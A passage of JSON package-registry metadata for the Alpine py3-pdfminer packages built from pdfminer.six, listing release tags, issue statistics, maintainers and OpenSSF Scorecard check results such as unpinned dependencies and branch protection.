not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:10.551Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":323,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2025-06-08T15:45:23.845Z","updated_at":"2025-06-08T15:45:23.845Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-04-27T18:20:22.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":10345142,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"20231228-r1","last_synced_at":"2026-04-01T02:04:19.765Z","created_at":"2024-06-11T10:17:35.460Z","updated_at":"2026-04-01T02:04:19.765Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines 